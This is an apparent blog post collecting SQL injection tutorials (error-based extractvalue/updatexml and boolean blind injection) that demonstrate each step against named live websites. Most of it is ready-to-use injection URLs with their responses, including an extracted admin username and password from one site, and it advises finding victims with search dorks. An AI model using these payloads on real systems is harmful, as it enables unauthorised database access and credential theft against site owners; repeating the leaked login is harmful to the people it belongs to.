Wednesday 21 May 2014

X-PATH INJECTION (DETAILED TUTORIAL)

So a few XPath Injection tutorials have been getting posted, and since I haven't seen much info on the updatexml method.

Extract Value


I'll be using this site as an example.

Code:
http://leadacidbatteryinfo.org/newsdetail.php?id=51

Version (ExtractValue)

Code:
+and+extractvalue(rand(),concat(0x7e,version()))--


This will return our XPATH Syntax error, and give us our version.
This is what my link looks like.

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--

Code:
XPATH syntax error: '~5.1.52-log'




You should get your version.

Getting The Tables (Extract Value)


Code:
+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.​tables+where+table_schema=database()+limit+0,1)))--

My link looks like this.

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+0,1)))--


So lets load it up and see if we get our first table name!




Code:
XPATH syntax error: '~pdigclicks'
Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.
Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+[b]1[/b],1)))--

Code:
XPATH syntax error: '~pdigengine'
-.-
We want users or admin..

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--

Code:
XPATH syntax error: '~pdigexcludes'

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+[b]10[/b],1)))--

Code:
XPATH syntax error: '~tbladmin'

WoWW, now let's get the columns.

Getting The Columns (ExtractValue)

First off, we want to convert our table name to hex.
My table name was tbladmin.

Whenever you convert something to hex, you add 0x in front of it.
It tells the site to read the hex value.

The hex of tbladmin is 74626c61646d696e
So it should look like this.

Code:
0x74626c61646d696e


Now to get our columns, we change our syntax a bit, but it's still generally the same idea.

Code:
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema​.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]


Of course, replace TABLE_HEX with the hex value of your table name.

My link looks like this.

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+fro​m+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--

Spoiler (Click to Hide)

Code:
XPATH syntax error: '~adminid'
Now use increment in your limit statement until you find the columns you want.

Getting Data Out of Columns (ExtractValue)

Now that you've got your column names, you're going to want to put them in a concat statement.

Code:
+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T​ABLENAME+limit+0,1)))--

My columns I wanted were username and password, the 0x7e is the hex value of "~" which I'll use as a seperator.

My link looks like this.

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+concat(username​,0x7e,password)+from+tbladmin+limit+0,1)))--


And as you can see, we get our XPath error with the admin login.



Code:
XPATH syntax error: '~ishir~ishir123'

UpdateXML
Getting The Version (UpdateXML)

Code:
+and+updatexml(0x7e,concat(0x7e,(version())),0)--


My link looks like this..

Code:
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--


We get our XPATH Error that returns the version.

Code:
XPATH syntax error: '~5.1.52-log'



Getting The Tables (UpdateXML)

Code:
+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_sch​ema.tables+where+table_schema=database()+limit+0,1))),0)--


My link looks like this..

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+​from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--



Code:
XPATH syntax error: '~pdigclicks'


Now we know our first table is called pdigclicks. Let's see what else is in here....

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+​from+information_schema.tables+where+table_schema=database()+limit+1,1))),0)--

Code:
XPATH syntax error: '~pdigengine'


For the sake of time, I know the table name I want is tbladmin.

Code:
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+​from+information_schema.tables+where+table_schema=database()+limit+10,1))),0)--


And there's our table.

Code:
XPATH syntax error: '~tbladmin'
Now let's get the columns from the table.

Getting Columns (UpdateXML)

Now it's the same idea, we just change the tables to columns, from the table name.

Code:
+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_sc​hema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--
Now my table name was tbladmin, so I convert that to hex and get 74626c61646d696e

My link looks like this.

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)​+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))​),0)--

Code:
XPATH syntax error: '~adminid'



Getting Data (UpdateXML)

Now once you've got your columns, concatenate them and get the from the table you want.

Code:
leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column1,0x7e​,column2)+from+TABLENAME+limit+0,1))),0)--


My link looks like this..

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7​e,password)+from+tbladmin+limit+0,1))),0)--

Code:
XPATH syntax error: '~ishir~ishir123'


Thanks....

BASIC BLIND SQL INJECTION


Blind SQL Injection


Let me start of by saying, blind SQL injection is very time consuming. I honestly don't think anyone would judge you if you used a tool while injecting a site using the blind method. Lets get started anyway. I found a site which I could use union based injection on so I wouldn't have to guess the table names, which made this tutorial alot easier to write.

First of all we will want to find a site using dorks, mentioned erlier in this tutorial. If order by/group by isn't working for you, you could try blind (or error based, i'll make a tutorial for that soon).
When we have our site, with a vulnerable parameter, you will want to test if it is vulnerable. We can do this by adding "and 1=1" onto the end of our url, and if it loads normally then thats good. Now if we add "and 1=2" and get an error, or the page doesn't load normally, it's most likely vulnerable.

Code:
http://www.giacusa.com/news.php?newsid=126 and 1=1

< no error

Code:
http://www.giacusa.com/news.php?newsid=126 and 1=2
< doesn't load properly

It does this because you're either providing a true or false statement. 1=1 is true. 1=2 is false. This is the method we will be using to gather information.
To find the version we will want to use


Code:
and substring(@@version,1,1)=VERSIONHERE

Where we have "VERSIONHERE", you will want to put the version there. Most sites would either use 4 or 5. Using what i said erlier, if the version is false, it won't load correctly. If it is true, it will.

Code:
http://www.giacusa.com/news.php?newsid=126 and substring(@@version,1,1)=4

< doesn't load properly

Code:
http://www.giacusa.com/news.php?newsid=126 and substring(@@version,1,1)=5

< loads fine

So we have established that the version is 5. We will use this method of guessing to find out pretty much all the info as we would in a union based injection.
Now to find the tables we will have to guess the names. Since union based injection works on the site I'm using as an example as, I just quickly got the tables/columns doing it that way to make the tutorial simple. But otherwise you would have to guess it. You could use common table names such as admin, user, login etc. We will use " (SELECT 1 from TABLE limit 0,1)=1 ".


Code:
http://www.giacusa.com/news.php?newsid=126  and (SELECT 1 from test limit 0,1)=1

< page doesn't load correctly.

Code:
http://www.giacusa.com/news.php?newsid=126  and (SELECT 1 from test2 limit 0,1)=1

< page doesn't load correctly.

Code:
http://www.giacusa.com/news.php?newsid=126  and (SELECT 1 from chapters limit 0,1)=1

< page loads fine. so there is a table named chapters.

Now to find the columns from a table, we will have to use the same method. We will use " (SELECT substring(concat(1,COLUMNNAME),1,1) from TABLENAME limit 0,1)=1 ". So,

Code:
http://www.giacusa.com/news.php?newsid=126 and (SELECT substring(concat(1,test1),1,1) from chapters limit 0,1)=1

< doesn't load properly

Code:
http://www.giacusa.com/news.php?newsid=126 and (SELECT substring(concat(1,test2),1,1) from chapters limit 0,1)=1

< doesn't load properly

Code:
http://www.giacusa.com/news.php?newsid=126 and (SELECT substring(concat(1,category),1,1) from chapters limit 0,1)=1

< loads fine. There is a column named category.

After you have done that, here comes the really time consuming part. We will have to guess each letter of the data value, one by one in ascii. So "test" = "74 65 73 74". You can find an ascii chart here - http://www.asciitable.com/. Or you can use the text > hex feature in the hackbar addon for firefox. Or use this - http://easycalculation.com/ascii-hex.php.

We will want to use -


Code:
ascii(substring((SELECT concat(COLUMN) from TABLE),CHARACTER NUMBER,1))>ASCII VALUE HERE

It didn't work on my site for some reason, but I'll explain it anyway. Say user = john.

Code:
and ascii(substring((SELECT concat(user) from users WHERE id=1),1,1))>64

should load normally. because most sited wouldn't allow "@" in the username, but it's possible. @ = 64 in ascii. Since it loads normally you know it is greater than 64.

Code:
and ascii(substring((SELECT concat(user) from users WHERE id=1),1,1))>105
will load normally, because the "j" in john = 106 in ascii.
Code:
and ascii(substring((SELECT concat(user) from users WHERE id=1),1,1))>106

will return an error, because "j" is not greater than 106. It is 106. It's like finding columns really. So after we know it is 106 in ascii, we write that down. 106 = j.

Now we will need to find the other letters, so we will change "1,1" to "2,1" which will move one character along.
Code:
and ascii(substring((SELECT concat(user) from users WHERE id=1),2,1))>110

will load normally, because the "o" in john is greater than 110. It's 111. So

Code:
and ascii(substring((SELECT concat(user) from users WHERE id=1),1,1))>111

will return an error because o is equal to 111, not greater. But since you get nothing at 110, you know it's 111. So now you have the first two characters, just keep repeating this untill you get an error no matter what, then you will know that you have the full username. Then after you have done that move to a different column, such as password :). Like I said this can be really time consuming, this is probabally one of the only times I'd use a tool personally.

BOOLEAN BASED BLIND SQL INJECTION



Introduction


So a lot of people view bling injection as having to guess everything, when it's called blind injection because no data is visible on the page as an outcome.

Remember, whenever you're injecting a site, as long as information_schema exists (version 5 or more), then you can use it to get data out of a page. This includes table names, database names, columns, and all the rest..


Here's a quick tutorial on getting data using blind injection for versions 5 or above, without guessing the outcome.

If you want to read up on some basic blind injection, you can check out this tutorial here.

I'll be using this site as an example.

Getting The Version


Code:
http://cathedralhillpress.com/book.php?id=1


Let's start by getting the version, to see if we can use substring() to get data out of information_schema.

Code:
http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=5


It loads fine, now let's replace the 5 with a 4 to double check.

Code:
http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=4

As you can see, the page has a huge chunk of text and pictures missing off of the page.

Getting The Table Names

Now let's get the first character, of the first table name out of our database.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>0

The page loaded fine, so we know our first characters' ascii value is more then 0.

So we increment 0 until we get around the area it will be in
.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>75
We know it's more then 75, so let's go up a little bit more.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>80



Now we get our error, so let's go down, and change more then, to equals to get the exact value.
Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=76


We get our error, so let's go up.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=77


Another error, let's go up again.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=78


And now it loads fine, so let's check the ascii value for 78.

You can check that here, by looking at the ASCII table.
ASCII Table

78 comes back to "N".

Now we know our first letter is N, so let's get the next letter by incrementing the 1, to a 2, in our substring() statement.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))>100


We know it's more then 100, so let's go up to 101 now.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))>101
We get our error. If the returned value is greater then 100, but not greater then 101, then it has to be 101. It's common sense.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))=101
And it loads fine...Now convert the ascii value of 101 to text. It comes back to "e".

So far we have "Ne"

Now you can either keep getting the returned values, or try and guess the table name. It looks like News, so let's get our next character and guess.

The ascii value of "w" is 119, so let's see if it comes out positive.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),3,1))=119


It loads fine, so now we have "New".

Lets check the last one...

The value of "s" is 115, so let's guess again.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),4,1))=115


Now we have our "News" table, but how do we know if there's more characters or not? We can check if the 5th letter's ascii value is > 0, and if it's not, it doesn't exist. So let's check.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),5,1))>0

And the page loads with an error.

Getting The Column Names

Getting the columns is fairly similar to getting the table names, you just add a where clause, and convert your table name to HEX/ASCII characters.

Let's see if our table even has columns first.


Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>0

Page loads fine, so we have a first character that's value is more then 0. Now let's get the column name.

Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>100


No errors, let's go up.

Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>105


Error, it's between 100 and 105.

Code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))=105


Loads fine, the value of 105 is "i".

Then we repeat the process, until we get our next character.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))>95


No error, let's try 100.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))>100


Error, let's see if it = 100.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))=100


No error, so now we have "id". Theres your first column, to get the next one, you'd just increase the limit and start over on your substring() statement.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+1,1),1,1))>0

Getting Data Out Of Columns

It's the same process, except we put our column names in a concat statement, FROM the TABLENAME.


Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>0


So let's get our first character..

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>45


No error, let's go up.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>50


Error, go back down until you find the right one.

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))=49


Loads fine, and the ascii value of 49 comes back to "1".

Now let's check if there's a second character..

Code:
http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),2,1))>0

We get an error, so that was all that was our first result.

Conclusion


As you can see, "Blind Injection" doesn't really have to do with guessing, as long as your site has information_schema. The correct term is actually "Boolean Based Blind Injection", which makes sense. A Boolean returns a value of true/false, which is what we just went over.




BLIND SQL INJECTION USING ASCII CHARACTERS


Blind sql Injection. (ascii char)


For educational purposes only!

A vulnerable only to blind sql injection webstite.
Notepad, to store data you collect while injecting.
And loads of loads of spare time.

Finding vulnerable sites: --Kobez expanding vulnerable collection guide!--


Checking vulnerability

Lets start, In what cases do we know if it really is a blind injectable site only?

Wel, you have a site. same as normal injection whit php?if= of pfp?f= of other stuff.. dous not mather.
we want to check if he is vulnerable. so we put and 1=1 behind the id number.
that is always true. ib this case we do not get an error,
now the real test: instead of 1=1 use and 1=2



Code:
www.[site].com/index.php?id=1+and+1=2

If we see any text missing or image movement.
or an error like this: invalid id or db_error select * from [site]@localhost call line... blah blah blah.
This means it is vulnerable.

do not forget: and 1=1 means true. page wil return unharmed.
and 1=2 is false. page returns in error or moved content.


Finding the mysql version of the site.

since it is blind sqli... the site will not pop up the version when you put version() no it needs more.
It always needs..
Using the substring(@@version,1,1) is asking if the =4 is true. so we ask database. hey database, is this a version 4 you use.
Database is like No wtf i'm awesome. (he returns false.)
That means instead of =4 put =5


Code:
www.[site].com/index.php?id=1 and substring(@@version,1,1)=5

Database returns true. (page is normal)
this means its a version 5 database.

gambling columns and tables..
Yeeey people, we moved on to the fun stuff. guessing tables and columns.
since database only sais true or false. we gonna ask our little friend the database everything.

Blind sqli is not that hard. but it sucks as hell!!

how do we guess?
we put something like this: and (select 1 from users limit 0,1)=1
what did i do? wel.
I ask database hey do you in any case have a table name called USERS? database no im awesome. guess again.
database returned false so we try again.
Code:
www.[site].com/index.php?id=1 and (select 1 from admin limit 0,1)=1

now i asked database if he has an admin column. database answers: yes im awesome. and returns true.
that means we have a hit yay.
If you are unluckly you need to guess more.

examples: members, tbl_admin, tbladmin, administrator, tbl_users, tblusers, admn
and way more.

God bless us because our journey is not yet on its end.

Columns. we need to guess them to :D

Code:
www.[site].com/index.php?id=1 and (select substring(concat(1,password),1,1) from administrator limit 0,1)=1

What did i do?
Wel i askt database hey, do you have a column password in table administrator?
database yes i have one.
he returned true.
we stil need usernames or what else they called it.

Code:
www.[site].com/index.php?id=1 and (select substring(concat(1,username),1,1) from administrator limit 0,1)=1

i ask database if he has a column username. database is like NO wtf!
He returned false. now i'm like thinking of killing me.

lets try again..
Code:
www.[site].com/index.php?id=1 and (select substring(concat(1,name),1,1) from administrator limit 0,1)=1

I asked database is he for example has Name as a column in table administrators.
database: yes. he returned true.

Hold on Hold on we are not finished yet.

get password and username using ascii char!

since that database hates us. he wont just popup the hash and username like that.
lets suck it out of him he made us mad allready.

by using the ascii char we can do this.
we know we have the column password and the column name. lets use this.

Code:
www.[site].com/index.php?id=1 and ascii(substring((select concat(name,0x3a,password) from admin where userid=2),1,1))>99
It returned true. we need to go higher.
but first what did i do?
i used the ascii char at start.
then i select name 0x3a password. as shown in my basic tut you should know by now.
and i selected these out of the table admin. i selected user 2 in the database.
Ok that should be clear.

We still need to go higher whit the ascii char.

Code:
www.[site].com/index.php?id=1 and ascii(substring((select concat(name,0x3a,password) from admin where userid=2),1,1))>101


it returned true again.
we need to go higher!
Code:
www.[site].com/index.php?id=1 and ascii(substring((select concat(name,0x3a,password) from admin where userid=2),1,1))>102


error.
this means its higher then 101 but not higher then 102 so we know its 102 yay.
the first character is 102 lets check this in an ancii char converter.
or use google and type ascii character 102.
i got letter f as my first character.
finding the next character.

Code:
www.[site].com/index.php?id=1 and ascii(substring((select concat(name,0x3a,password) from admin where userid=2),2,1))>99
l
ook at the changes at the end of the link!!
i changed the 1,1 in 2,1